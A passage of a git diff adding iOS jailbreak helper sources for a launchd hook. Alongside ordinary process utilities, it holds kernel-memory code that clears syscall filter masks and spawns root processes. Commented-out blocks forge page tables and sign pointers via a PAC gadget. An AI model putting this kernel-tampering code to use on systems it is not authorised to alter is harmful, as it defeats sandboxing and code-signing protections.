+1,13 @@ +#ifndef TRANSLATION_H +#define TRANSLATION_H + +#include +#include "pte.h" + +// uint64_t phystokv(uint64_t pa); +uint64_t vtophys_lvl(uint64_t tte_ttep, uint64_t va, uint64_t *leaf_level, uint64_t *leaf_tte_ttep); +uint64_t vtophys(uint64_t tte_ttep, uint64_t va); +// uint64_t kvtophys(uint64_t va); +void libjailbreak_translation_init(void); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/util.c b/RootHelperSample/launchdshim/launchdhook/jbserver/util.c new file mode 100644 index 00000000..7cccb19a --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/util.c @@ -0,0 +1,885 @@ +#include "util.h" +#include "libproc.h" +#include "libproc_private.h" +#include +#include +#include +#include +#include +#include +#include +#include "info.h" +#include "kernel.h" +// #include "primitives.h" +#include "../fun/krw.h" +extern char **environ; + +#define FAKE_PHYSPAGE_TO_MAP 0x13370000 + +#define POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE 1 +extern int posix_spawnattr_set_persona_np(const posix_spawnattr_t* __restrict, uid_t, uint32_t); +extern int posix_spawnattr_set_persona_uid_np(const posix_spawnattr_t* __restrict, uid_t); +extern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restrict, uid_t); + +void proc_iterate(void (^itBlock)(uint64_t, bool*)) +{ + uint64_t proc = ksymbol(allproc); + while((proc = kread_ptr(proc + koffsetof(proc, list_next)))) + { + bool stop = false; + itBlock(proc, &stop); + if(stop) return; + } +} + +uint64_t proc_self(void) +{ + static uint64_t gSelfProc = 0; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + gSelfProc = proc_find(getpid()); + // decrement ref count again, we assume proc_self will exist for the whole lifetime of this process + proc_rele(gSelfProc); + }); + return gSelfProc; +} + +// uint64_t task_self(void) +// { +// static uint64_t gSelfTask = 0; +// static dispatch_once_t onceToken; +// dispatch_once(&onceToken, ^{ +// gSelfTask = proc_task(proc_self()); +// }); +// return gSelfTask; +// } + +// uint64_t vm_map_self(void) +// { +// static uint64_t gSelfMap = 0; +// static dispatch_once_t onceToken; +// dispatch_once(&onceToken, ^{ +// gSelfMap = kread_ptr(task_self() + koffsetof(task, map)); +// }); +// return gSelfMap; +// } + +// uint64_t pmap_self(void) +// { +// static uint64_t gSelfPmap = 0; +// static dispatch_once_t onceToken; +// dispatch_once(&onceToken, ^{ +// gSelfPmap = kread_ptr(vm_map_self() + koffsetof(vm_map, pmap)); +// }); +// return gSelfPmap; +// } + +pid_t proc_get_ppid(pid_t pid) +{ + struct proc_bsdinfo procInfo; + if (proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &procInfo, sizeof(procInfo)) <= 0) { + return -1; + } + return procInfo.pbi_ppid; +} + +int proc_paused(pid_t pid, bool* paused) +{ + *paused = false; + + struct proc_bsdinfo procInfo = {0}; + int ret = proc_pidinfo(pid, PROC_PIDTBSDINFO, 0, &procInfo, sizeof(procInfo)); + if (ret != sizeof(procInfo)) { + return -1; + } + + if (procInfo.pbi_status == SSTOP) { + *paused = true; + } else if (procInfo.pbi_status != SRUN) { + return -1; + } + + return 0; +} + +// uint64_t ttep_self(void) +// { +// static uint64_t gSelfTTEP = 0; +// static dispatch_once_t onceToken; +// dispatch_once(&onceToken, ^{ +// gSelfTTEP = kread_ptr(pmap_self() + koffsetof(pmap, ttep)); +// }); +// return gSelfTTEP; +// } + +// uint64_t tte_self(void) +// { +// static uint64_t gSelfTTE = 0; +// static dispatch_once_t onceToken; +// dispatch_once(&onceToken, ^{ +// gSelfTTE = kread_ptr(pmap_self() + koffsetof(pmap, tte)); +// }); +// return gSelfTTE; +// } + +// uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port) +// { +// uint64_t itk_space = kread_ptr(task + koffsetof(task, itk_space)); +// return ipc_entry_lookup(itk_space, port); +// } + +// uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port) +// { +// return kread_ptr(task_get_ipc_port_table_entry(task, port) + koffsetof(ipc_entry, object)); +// } + +// uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port) +// { +// return kread_ptr(task_get_ipc_port_object(task, port) + koffsetof(ipc_port, kobject)); +// } + +// uint64_t alloc_page_table_unassigned(void) +// { +// uint64_t pmap = pmap_self(); +// uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep)); + +// void *free_lvl2 = NULL; +// uint64_t tte_lvl2 = 0; +// uint64_t allocatedPT = 0; +// uint64_t pinfo_pa = 0; +// while (true) { +// // When we allocate the entire address range of an L2 block, we can assume ownership of the backing table +// if (posix_memalign(&free_lvl2, L2_BLOCK_SIZE, L2_BLOCK_SIZE) != 0) { +// printf("WARNING: Failed to allocate L2 page table address range\n"); +// return 0; +// } +// // Now, fault in one page to make the kernel allocate the page table for it +// *(volatile uint64_t *)free_lvl2; + +// // Find the newly allocated page table +// uint64_t lvl = PMAP_TT_L2_LEVEL; +// allocatedPT = vtophys_lvl(ttep, (uint64_t)free_lvl2, &lvl, &tte_lvl2); + +// uint64_t pvh = pai_to_pvh(pa_index(allocatedPT)); +// uint64_t ptdp = pvh_ptd(pvh); +// uint64_t pinfo = kread64(ptdp + koffsetof(pt_desc, ptd_info)); +// pinfo_pa = kvtophys(pinfo); + +// uint16_t refCount = physread16(pinfo_pa); +// if (refCount != 1) { +// // Something is off, retry +// free(free_lvl2); +// continue; +// } +// break; +// } + +// // Handle case where all entries in the level 2 table are 0 after we leak ours +// // In that case, leak an allocation in the span of it to keep it alive +// /*uint64_t lvl2Table = tte_lvl2 & ~PAGE_MASK; +// uint64_t lvl2TableEntries[PAGE_SIZE / sizeof(uint64_t)]; +// physreadbuf(lvl2Table, lvl2TableEntries, PAGE_SIZE); +// int freeIdx = -1; +// for (int i = 0; i < (PAGE_SIZE / sizeof(uint64_t)); i++) { +// uint64_t curPtr = lvl2Table + (sizeof(uint64_t) * i); +// if (curPtr != tte_lvl2) { +// if (lvl2TableEntries[i]) { +// freeIdx = -1; +// break; +// } +// else { +// freeIdx = i; +// } +// } +// } +// if (freeIdx != -1) { +// vm_address_t freeUserspace = ((uint64_t)free_lvl2 & ~L1_BLOCK_MASK) + (freeIdx * L2_BLOCK_SIZE); +// if (vm_allocate(mach_task_self(), &freeUserspace, 0x4000, VM_FLAGS_FIXED) == 0) { +// *(volatile uint8_t *)freeUserspace; +// } +// }*/ + +// // Bump reference count of our allocated page table +// physwrite16(pinfo_pa, 0x1337); + +// // Deallocate address range (our allocated page table will stay because we bumped it's reference count) +// free(free_lvl2); + +// // Remove our allocated page table from it's original location (leak it) +// physwrite64(tte_lvl2, 0); + +// // Ensure there is at least one entry in page table +// // Attempts to prevent "pte is empty" panic +// // Sometimes weird prefetches happen so this has to be a valid physical page to ensure those don't panic +// // Disabled for now cause it causes super weird issues +// //physwrite64(allocatedPT, kconstant(physBase) | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY); + +// // Reference count of new page table must be 0! +// // original ref count is 1 because the table holds one PTE +// // Our new PTEs are not part of the pmap layer though so refcount needs to be 0 +// physwrite16(pinfo_pa, 0); + +// // After we leaked the page table, the ledger still thinks it belongs to our process +// // We need to remove it from there aswell so that the process doesn't get jetsam killed +// // (This ended up more complicated than I thought, so I just disabled jetsam in launchd) +// //uint64_t ledger = kread_ptr(pmap + koffsetof(pmap, ledger)); +// //uint64_t ledger_pa = kvtophys(ledger); +// //int page_table_ledger = physread32(ledger_pa + koffsetof(_task_ledger_indices, page_table)); +// //physwrite32(ledger_pa + koffsetof(_task_ledger_indices, page_table), page_table_ledger - 1); + +// return allocatedPT; +// } + +// uint64_t pmap_alloc_page_table(uint64_t pmap, uint64_t va) +// { +// if (!pmap) { +// pmap = pmap_self(); +// } + +// uint64_t tt_p = alloc_page_table_unassigned(); +// if (!tt_p) return 0; + +// uint64_t pvh = pai_to_pvh(pa_index(tt_p)); +// uint64_t ptdp = pvh_ptd(pvh); + +// uint64_t ptdp_pa = kvtophys(ptdp); + +// // At this point the allocated page table is associated +// // to the pmap of this process alongside the address it was allocated on +// // We now need to replace the association with the context in which it will be used +// physwrite64(ptdp_pa + koffsetof(pt_desc, pmap), pmap); + +// // On A14+ PT_INDEX_MAX is 4, for whatever reason +// // However in practice, only the first slot is used... +// for (uint64_t po = 0; po < vm_page_size; po += vm_real_kernel_page_size) { +// physwrite64(ptdp_pa + koffsetof(pt_desc, va) + (po / vm_page_size), va + po); +// } + +// return tt_p; +// } + +// int pmap_expand_range(uint64_t pmap, uint64_t vaStart, uint64_t size) +// { +// uint64_t ttep = kread_ptr(pmap + koffsetof(pmap, ttep)); + +// if (is_kcall_available()) { +// uint64_t unmappedStart = 0, unmappedSize = 0; + +// uint64_t l2Start = vaStart & ~L2_BLOCK_MASK; +// uint64_t l2End = (vaStart + (size - 1)) & ~L2_BLOCK_MASK; +// uint64_t l2Count = ((l2End - l2Start) / L2_BLOCK_SIZE) + 1; + +// for (uint64_t i = 0; i <= l2Count; i++) { +// uint64_t curL2 = l2Start + (i * L2_BLOCK_SIZE); + +// uint64_t leafLevel = PMAP_TT_L3_LEVEL; +// uint64_t pt3 = 0; +// vtophys_lvl(ttep, curL2, &leafLevel, &pt3); +// if (leafLevel == PMAP_TT_L3_LEVEL || i == l2Count) { +// // i == l2Count: one extra cycle that this for loop takes +// // We hit this block either if there was a mapping or at the end +// // Alloc page tables for the current area (unmappedStart, unmappedSize) by running pmap_enter_options on every page +// // And then running pmap_remove on the entire area while nested is true + +// for (uint64_t l2Off = 0; l2Off < unmappedSize; l2Off += L2_BLOCK_SIZE) { +// kern_return_t kr = pmap_enter_options_addr(pmap, FAKE_PHYSPAGE_TO_MAP, unmappedStart + l2Off); +// if (kr != KERN_SUCCESS) { +// return -7; +// } +// } + +// // Set type to nested +// physwrite8(kvtophys(pmap + koffsetof(pmap, type)), 3); + +// // Remove mapping (table will stay cause nested is set) +// pmap_remove(pmap, unmappedStart, unmappedStart + unmappedSize); + +// // Change type back +// physwrite8(kvtophys(pmap + koffsetof(pmap, type)), 0); + +// unmappedStart = 0; +// unmappedSize = 0; +// continue; +// } +// else { +// if (unmappedStart == 0) { +// unmappedStart = curL2; +// } +// unmappedSize += L2_BLOCK_SIZE; +// } +// } +// } +// else { +// uint64_t vaEnd = vaStart + size; +// for (uint64_t va = vaStart; va < vaEnd; va += vm_real_kernel_page_size) { +// uint64_t leafLevel; +// do { +// leafLevel = PMAP_TT_L3_LEVEL; +// uint64_t pt = 0; +// vtophys_lvl(ttep, va, &leafLevel, &pt); +// if (leafLevel != PMAP_TT_L3_LEVEL) { +// uint64_t pt_va = 0; +// switch (leafLevel) { +// case PMAP_TT_L1_LEVEL: { +// pt_va = va & ~L1_BLOCK_MASK; +// break; +// } +// case PMAP_TT_L2_LEVEL: { +// pt_va = va & ~L2_BLOCK_MASK; +// break; +// } +// } +// uint64_t newTable = pmap_alloc_page_table(pmap, pt_va); +// if (newTable) { +// physwrite64(pt, newTable | ARM_TTE_VALID | ARM_TTE_TYPE_TABLE); +// } +// else { +// return -2; +// } +// } +// } while (leafLevel < PMAP_TT_L3_LEVEL); +// } +// } +// return 0; +// } + +// int pmap_map_in(uint64_t pmap, uint64_t uaStart, uint64_t paStart, uint64_t size) +// { +// uint64_t ttep = kread64(pmap + koffsetof(pmap, ttep)); + +// uint64_t paEnd = paStart + size; +// uint64_t uaEnd = uaStart + size; + +// uint64_t uaL2Start = uaStart & ~L2_BLOCK_MASK; +// uint64_t uaL2End = ((uaStart + size - 1) + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK; + +// uint64_t paL2Start = paStart & ~L2_BLOCK_MASK; +// uint64_t l2Count = (((uaL2End - uaL2Start) - 1) / L2_BLOCK_SIZE) + 1; + +// // Sanity check: Ensure the entire area to be mapped in is not mapped to anything yet +// for(uint64_t ua = uaStart; ua < uaEnd; ua += vm_real_kernel_page_size) { +// uint64_t leafLevel = PMAP_TT_L3_LEVEL; +// if (vtophys_lvl(ttep, ua, &leafLevel, NULL) != 0) { +// return -1; +// } +// else { +// // Performance improvement +// // If there is no L1 / L2 mapping we can skip a whole bunch of addresses +// if (leafLevel == PMAP_TT_L1_LEVEL) { +// ua = (((ua + L1_BLOCK_SIZE) & ~L1_BLOCK_MASK) - vm_real_kernel_page_size); +// } +// else if (leafLevel == PMAP_TT_L2_LEVEL) { +// ua = (((ua + L2_BLOCK_SIZE) & ~L2_BLOCK_MASK) - vm_real_kernel_page_size); +// } +// } + +// if (vtophys(ttep, ua)) return -1; +// // TODO: If all mappings match 1:1, maybe return 0 instead of -1? +// } + +// // Allocate all page tables that need to be allocated +// if (pmap_expand_range(pmap, uaStart, size) != 0) return -1; + +// // Insert entries into L3 pages +// for (uint64_t i = 0; i < l2Count; i++) { +// uint64_t uaL2Cur = uaL2Start + (i * L2_BLOCK_SIZE); +// uint64_t paL2Cur = paL2Start + (i * L2_BLOCK_SIZE); + +// // Create full table for this mapping +// uint64_t tableToWrite[L2_BLOCK_COUNT]; +// for (int k = 0; k < L2_BLOCK_COUNT; k++) { +// uint64_t curMappingPage = paL2Cur + (k * vm_real_kernel_page_size); +// if (curMappingPage >= paStart && curMappingPage < paEnd) { +// tableToWrite[k] = curMappingPage | PERM_TO_PTE(PERM_KRW_URW) | PTE_NON_GLOBAL | PTE_OUTER_SHAREABLE | PTE_LEVEL3_ENTRY; +// } +// else { +// tableToWrite[k] = 0; +// } +// } + +// // Replace table with the entries we generated +// uint64_t leafLevel = PMAP_TT_L2_LEVEL; +// uint64_t level2Table = vtophys_lvl(ttep, uaL2Cur, &leafLevel, NULL); +// if (!level2Table) return -2; +// physwritebuf(level2Table, tableToWrite, vm_real_kernel_page_size); +// } + +// return 0; +// } + + +// #ifdef __arm64e__ +// uint64_t pmap_find_main_binary_code_dir(uint64_t pmap) +// { +// uint64_t mainCodeDir = 0; +// uint64_t pmap_cs_region = kread_ptr(pmap + koffsetof(pmap, pmap_cs_main)); +// while (pmap_cs_region && !mainCodeDir) { +// uint64_t pmap_cs_code_dir = kread_ptr(pmap_cs_region + koffsetof(pmap_cs_region, cd_entry)); +// while (pmap_cs_code_dir) { +// _Bool mainBinary = kread64(pmap_cs_code_dir + koffsetof(pmap_cs_code_directory, main_binary)); +// if (mainBinary) { +// mainCodeDir = pmap_cs_code_dir; +// break; +// } +// pmap_cs_code_dir = kread_ptr(pmap_cs_code_dir + koffsetof(pmap_cs_code_directory, pmap_cs_code_directory_next)); +// } +// pmap_cs_region = kread_ptr(pmap_cs_region + koffsetof(pmap_cs_region, pmap_cs_region_next)); +// } +// return mainCodeDir; +// } + +// uint64_t proc_find_main_binary_code_dir(uint64_t proc) +// { +// uint64_t task = proc_task(proc); +// uint64_t map = kread_ptr(task + koffsetof(task, map)); +// uint64_t pmap = kread_ptr(map + koffsetof(vm_map, pmap)); +// return pmap_find_main_binary_code_dir(pmap); +// } + +// uint32_t pmap_cs_trust_string_to_int(const char *trustString) +// { +// int trustInt = 0; +// if (__builtin_available(iOS 16.0, *)) { +// if (!strcmp(trustString, "PMAP_CS_UNTRUSTED")) trustInt = 0; +// else if (!strcmp(trustString, "PMAP_CS_RETIRED")) trustInt = 1; +// else if (!strcmp(trustString, "PMAP_CS_PROFILE_PREFLIGHT")) trustInt = 2; +// else if (!strcmp(trustString, "PMAP_CS_COMPILATION_SERVICE")) trustInt = 3; +// else if (!strcmp(trustString, "PMAP_CS_OOP_JIT")) trustInt = 4; +// else if (!strcmp(trustString, "PMAP_CS_LOCAL_SIGNING")) trustInt = 5; +// else if (!strcmp(trustString, "PMAP_CS_PROFILE_VALIDATED")) trustInt = 6; +// else if (!strcmp(trustString, "PMAP_CS_APP_STORE")) trustInt = 7; +// else if (!strcmp(trustString, "PMAP_CS_IN_LOADED_TRUST_CACHE")) trustInt = 8; +// else if (!strcmp(trustString, "PMAP_CS_IN_STATIC_TRUST_CACHE")) trustInt = 9; +// } +// else { +// if (!strcmp(trustString, "PMAP_CS_UNTRUSTED")) trustInt = 0; +// else if (!strcmp(trustString, "PMAP_CS_RETIRED")) trustInt = 1; +// else if (!strcmp(trustString, "PMAP_CS_PROFILE_PREFLIGHT")) trustInt = 2; +// else if (!strcmp(trustString, "PMAP_CS_COMPILATION_SERVICE")) trustInt = 3; +// else if (!strcmp(trustString, "PMAP_CS_LOCAL_SIGNING")) trustInt = 4; +// else if (!strcmp(trustString, "PMAP_CS_PROFILE_VALIDATED")) trustInt = 5; +// else if (!strcmp(trustString, "PMAP_CS_APP_STORE")) trustInt = 6; +// else if (!strcmp(trustString, "PMAP_CS_IN_LOADED_TRUST_CACHE")) trustInt = 7; +// else if (!strcmp(trustString, "PMAP_CS_IN_STATIC_TRUST_CACHE")) trustInt = 8; +// } +// return trustInt; +// } + +// #endif + +// int sign_kernel_thread(uint64_t proc, mach_port_t threadPort) +// { +// uint64_t threadKobj = task_get_ipc_port_kobject(proc_task(proc), threadPort); +// uint64_t threadContext = kread_ptr(threadKobj + koffsetof(thread, machine_contextData)); + +// uint64_t pc = kread64(threadContext + offsetof(kRegisterState, pc)); +// uint64_t cpsr = kread64(threadContext + offsetof(kRegisterState, cpsr)); +// uint64_t lr = kread64(threadContext + offsetof(kRegisterState, lr)); +// uint64_t x16 = kread64(threadContext + offsetof(kRegisterState, x[16])); +// uint64_t x17 = kread64(threadContext + offsetof(kRegisterState, x[17])); + +// return kcall(NULL, ksymbol(ml_sign_thread_state), 6, (uint64_t[]){ threadContext, pc, cpsr, lr, x16, x17 }); +// } + +// uint64_t kpacda(uint64_t pointer, uint64_t modifier) +// { +// if (gPrimitives.kexec && kgadget(pacda)) { +// // |------- GADGET -------| +// // | cmp x1, #0 | +// // | pacda x1, x9 | +// // | str x9, [x8] | +// // | csel x9, xzr, x1, eq | +// // | ret | +// // |----------------------| +// uint64_t output = 0; +// uint64_t output_kernelVA = phystokv(vtophys(kread_ptr(pmap_self() + koffsetof(pmap, ttep)), (uint64_t)&output)); +// kRegisterState threadState = { 0 }; +// threadState.pc = kgadget(pacda); +// threadState.x[1] = pointer; +// threadState.x[9] = modifier; +// threadState.x[8] = output_kernelVA; +// kexec(&threadState); +// return output; +// } +// return 0; +// } + +// uint64_t kptr_sign(uint64_t kaddr, uint64_t pointer, uint16_t salt) +// { +// uint64_t modifier = (kaddr & 0xffffffffffff) | ((uint64_t)salt << 48); +// return kpacda(UNSIGN_PTR(pointer), modifier); +// } + +int kwrite1_bits(uint64_t startPtr, uint32_t bitCount) +{ + uint32_t byteSize = ceil((float)bitCount / 8); + uint8_t buf[byteSize]; + + for (uint32_t i = 0; i < bitCount; i += 8) { + uint32_t rem = (bitCount - i); + if (rem < 8) { + for (int y = 0; y < rem; y++) { + buf[i/8] |= (1 << y); + } + } + else { + buf[i/8] = 0xff; + } + } + + return kwritebuf(startPtr, buf, byteSize); +} + +void proc_allow_all_syscalls(uint64_t proc) +{ + if (!gSystemInfo.kernelStruct.proc_ro.exists) return; + uint64_t proc_ro = kread_ptr(proc + koffsetof(proc, proc_ro)); + + uint64_t bsdFilter = kread_ptr(proc_ro + koffsetof(proc_ro, syscall_filter_mask)); + uint64_t machFilter = kread_ptr(proc_ro + koffsetof(proc_ro, mach_trap_filter_mask)); + uint64_t machKobjFilter = kread_ptr(proc_ro + koffsetof(proc_ro, mach_kobj_filter_mask)); + + if (bsdFilter) { + kwrite1_bits(bsdFilter, kconstant(nsysent)); + } + if (machFilter) { + kwrite1_bits(machFilter, kconstant(mach_trap_count)); + } + if (machKobjFilter) { + kwrite1_bits(machKobjFilter, kread64(ksymbol(mach_kobj_count))); + } +} + +int cmd_wait_for_exit(pid_t pid) +{ + int status = 0; + do { + if (waitpid(pid, &status, 0) == -1) { + return -1; + } + } while (!WIFEXITED(status) && !WIFSIGNALED(status)); + return status; +} + +int __exec_cmd_internal_va(bool suspended, bool root, bool waitForExit, pid_t *pidOut, const char *binary, int argc, va_list va_args) +{ + const char *argv[argc+1]; + argv[0] = binary; + for (int i = 1; i < argc; i++) { + argv[i] = va_arg(va_args, const char *); + } + argv[argc] = NULL; + + posix_spawnattr_t attr = NULL; + posix_spawnattr_init(&attr); + // if (suspended) { + posix_spawnattr_setflags(&attr, POSIX_SPAWN_START_SUSPENDED); + // } + if (root) { + posix_spawnattr_set_persona_np(&attr, 99, POSIX_SPAWN_PERSONA_FLAGS_OVERRIDE); + posix_spawnattr_set_persona_uid_np(&attr, 0); + posix_spawnattr_set_persona_gid_np(&attr, 0); + } + + pid_t spawnedPid = 0; + int spawnError = posix_spawn(&spawnedPid, binary, NULL, &attr, (char *const *)argv, environ); + if (attr) posix_spawnattr_destroy(&attr); + if (spawnError != 0) return spawnError; + + jbclient_patch_spawn(spawnedPid, false); + + if (!suspended) kill(spawnedPid, SIGCONT); + + if (waitForExit && !suspended) { + return cmd_wait_for_exit(spawnedPid); + } + else if (pidOut) { + *pidOut = spawnedPid; + } + return 0; +} + +int exec_cmd(const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, false, true, NULL, binary, argc, args); + va_end(args); + return r; +} + +int exec_cmd_nowait(pid_t *pidOut, const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, false, false, pidOut, binary, argc, args); + va_end(args); + return r; +} + +int exec_cmd_suspended(pid_t *pidOut, const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(true, false, false, pidOut, binary, argc, args); + va_end(args); + return r; +} + +int exec_cmd_root(const char *binary, ...) +{ + int argc = 1; + va_list args; + va_start(args, binary); + while (va_arg(args, const char *)) argc++; + va_end(args); + + va_start(args, binary); + int r = __exec_cmd_internal_va(false, true, true, NULL, binary, argc, args); + va_end(args); + return r; +} + +void killall(const char *executablePathToKill, bool softly) +{ + static int maxArgumentSize = 0; + if (maxArgumentSize == 0) { + size_t size = sizeof(maxArgumentSize); + if (sysctl((int[]){ CTL_KERN, KERN_ARGMAX }, 2, &maxArgumentSize, &size, NULL, 0) == -1) { + perror("sysctl argument size"); + maxArgumentSize = 4096; // Default + } + } + int mib[3] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL}; + struct kinfo_proc *info; + size_t length; + int count; + + if (sysctl(mib, 3, NULL, &length, NULL, 0) < 0) + return; + if (!(info = malloc(length))) + return; + if (sysctl(mib, 3, info, &length, NULL, 0) < 0) { + free(info); + return; + } + count = length / sizeof(struct kinfo_proc); + for (int i = 0; i < count; i++) { + pid_t pid = info[i].kp_proc.p_pid; + if (pid == 0) { + continue; + } + size_t size = maxArgumentSize; + char* buffer = (char *)malloc(length); + if (sysctl((int[]){ CTL_KERN, KERN_PROCARGS2, pid }, 3, buffer, &size, NULL, 0) == 0) { + char *executablePath = buffer + sizeof(int); + if (strcmp(executablePath, executablePathToKill) == 0) { + if(softly) + { + kill(pid, SIGTERM); + } + else + { + kill(pid, SIGKILL); + } + } + } + free(buffer); + } + free(info); +} + +// static int +// copy_data(struct archive *ar, struct archive *aw) +// { +// int r; +// const void *buff; +// size_t size; +// la_int64_t offset; + +// for (;;) { +// r = archive_read_data_block(ar, &buff, &size, &offset); +// if (r == ARCHIVE_EOF) +// return (ARCHIVE_OK); +// if (r < ARCHIVE_OK) +// return (r); +// r = archive_write_data_block(aw, buff, size, offset); +// if (r < ARCHIVE_OK) { +// fprintf(stderr, "%s\n", archive_error_string(aw)); +// return (r); +// } +// } +// } + +// int libarchive_unarchive(const char *fileToExtract, const char *extractionPath) +// { +// struct archive *a; +// struct archive *ext; +// struct archive_entry *entry; +// int flags; +// int r; + +// /* Select which attributes we want to restore. */ +// flags = ARCHIVE_EXTRACT_TIME; +// flags |= ARCHIVE_EXTRACT_PERM; +// flags |= ARCHIVE_EXTRACT_ACL; +// flags |= ARCHIVE_EXTRACT_FFLAGS; +// flags |= ARCHIVE_EXTRACT_OWNER; + +// a = archive_read_new(); +// archive_read_support_format_all(a); +// archive_read_support_filter_all(a); +// ext = archive_write_disk_new(); +// archive_write_disk_set_options(ext, flags); +// archive_write_disk_set_standard_lookup(ext); +// if ((r = archive_read_open_filename(a, fileToExtract, 10240))) +// return 1; +// for (;;) { +// r = archive_read_next_header(a, &entry); +// if (r == ARCHIVE_EOF) +// break; +// if (r < ARCHIVE_OK) +// fprintf(stderr, "%s\n", archive_error_string(a)); +// if (r < ARCHIVE_WARN) +// return 1; + +// const char *currentFile = archive_entry_pathname(entry); +// char outputPath[PATH_MAX]; +// strlcpy(outputPath, extractionPath, PATH_MAX); +// strlcat(outputPath, "/", PATH_MAX); +// strlcat(outputPath, currentFile, PATH_MAX); + +// archive_entry_set_pathname(entry, outputPath); + +// r = archive_write_header(ext, entry); +// if (r < ARCHIVE_OK) +// fprintf(stderr, "%s\n", archive_error_string(ext)); +// else if (archive_entry_size(entry) > 0) { +// r = copy_data(a, ext); +// if (r < ARCHIVE_OK) +// fprintf(stderr, "%s\n", archive_error_string(ext)); +// if (r < ARCHIVE_WARN) +// return 1; +// } +// r = archive_write_finish_entry(ext); +// if (r < ARCHIVE_OK) +// fprintf(stderr, "%s\n", archive_error_string(ext)); +// if (r < ARCHIVE_WARN) +// return 1; +// } +// archive_read_close(a); +// archive_read_free(a); +// archive_write_close(ext); +// archive_write_free(ext); + +// return 0; +// } + + +// code from ktrw by Brandon Azad : https://github.com/googleprojectzero/ktrw +// A worker thread for activity_thread that just spins. +static void* worker_thread(void *arg) +{ + uint64_t end = *(uint64_t *)arg; + for (;;) { + close(-1); + uint64_t now = mach_absolute_time(); + if (now >= end) { + break; + } + } + return NULL; +} + +// A thread to alternately spin and sleep. +static void* activity_thread(void *arg) +{ + volatile uint64_t *runCount = arg; + struct mach_timebase_info tb; + mach_timebase_info(&tb); + const unsigned milliseconds = 40; + const unsigned worker_count = 10; + while (*runCount != 0) { + // Spin for one period on multiple threads. + uint64_t start = mach_absolute_time(); + uint64_t end = start + milliseconds * 1000 * 1000 * tb.denom / tb.numer; + pthread_t worker[worker_count]; + for (unsigned i = 0; i < worker_count; i++) { + pthread_create(&worker[i], NULL, worker_thread, &end); + } + worker_thread(&end); + for (unsigned i = 0; i < worker_count; i++) { + pthread_join(worker[i], NULL); + } + // Sleep for one period. + usleep(milliseconds * 1000); + } + return NULL; +} + +static uint64_t gCaffeinateThreadRunCount = 0; +static pthread_t gCaffeinateThread = NULL; + +void thread_caffeinate_start(void) +{ + if (gCaffeinateThreadRunCount == UINT64_MAX) return; + gCaffeinateThreadRunCount++; + if (gCaffeinateThreadRunCount == 1) { + pthread_create(&gCaffeinateThread, NULL, activity_thread, &gCaffeinateThreadRunCount); + } +} + +void thread_caffeinate_stop(void) +{ + if (gCaffeinateThreadRunCount == 0) return; + gCaffeinateThreadRunCount--; + if (gCaffeinateThreadRunCount == 0) { + pthread_join(gCaffeinateThread, NULL); + } +} + +void convert_data_to_hex_string(const void *data, size_t size, char *outBuf) +{ + unsigned char *pin = (unsigned char *)data; + const char *hex = "0123456789ABCDEF"; + char *pout = outBuf; + for(; pin < ((unsigned char *)data)+size; pout+=2, pin++){ + pout[0] = hex[(*pin>>4) & 0xF]; + pout[1] = hex[ *pin & 0xF]; + } + pout[0] = 0; +} + +int convert_hex_string_to_data(const char *string, void *outBuf) +{ + size_t length = strlen(string); + const char *pin = string; + char *pout = outBuf; + for (; pin < string+length; pin++) { + char byte = *pin; + if (byte >= '0' && byte <= '9') byte = byte - '0'; + else if (byte >= 'a' && byte <='f') byte = byte - 'a' + 10; + else if (byte >= 'A' && byte <='F') byte = byte - 'A' + 10; + else return -1; + + int shift = ((pin - (string+length)) % 2) ? 0 : 4; + *pout = (*pout & ~(0xf << shift)) | (byte << shift); + if (shift == 0) pout++; + } + return 0; +} diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/util.h b/RootHelperSample/launchdshim/launchdhook/jbserver/util.h new file mode 100644 index 00000000..fc768781 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/util.h @@ -0,0 +1,90 @@ +#ifndef LJB_UTIL_H +#define LJB_UTIL_H + +// #include "info.h" +#include "jbclient_xpc.h" + +#define min(a, b) (((a) < (b)) ? (a) : (b)) +#define max(a, b) (((a) > (b)) ? (a) : (b)) + +void proc_iterate(void (^itBlock)(uint64_t, bool*)); + +uint64_t proc_self(void); +uint64_t task_self(void); +uint64_t vm_map_self(void); +uint64_t pmap_self(void); +uint64_t ttep_self(void); +uint64_t tte_self(void); + +uint64_t task_get_ipc_port_table_entry(uint64_t task, mach_port_t port); +uint64_t task_get_ipc_port_object(uint64_t task, mach_port_t port); +uint64_t task_get_ipc_port_kobject(uint64_t task, mach_port_t port); + +uint64_t alloc_page_table_unassigned(void); +uint64_t pmap_alloc_page_table(uint64_t pmap, uint64_t va); +int pmap_expand_range(uint64_t pmap, uint64_t vaStart, uint64_t size); +int pmap_map_in(uint64_t pmap, uint64_t uaStart, uint64_t paStart, uint64_t size); + +#ifdef __arm64e__ +uint64_t pmap_find_main_binary_code_dir(uint64_t pmap); +uint64_t proc_find_main_binary_code_dir(uint64_t proc); +uint32_t pmap_cs_trust_string_to_int(const char *trustString); +#endif + +int sign_kernel_thread(uint64_t proc, mach_port_t threadPort); +uint64_t kpacda(uint64_t pointer, uint64_t modifier); +uint64_t kptr_sign(uint64_t kaddr, uint64_t pointer, uint16_t salt); + +void proc_allow_all_syscalls(uint64_t proc); + +void 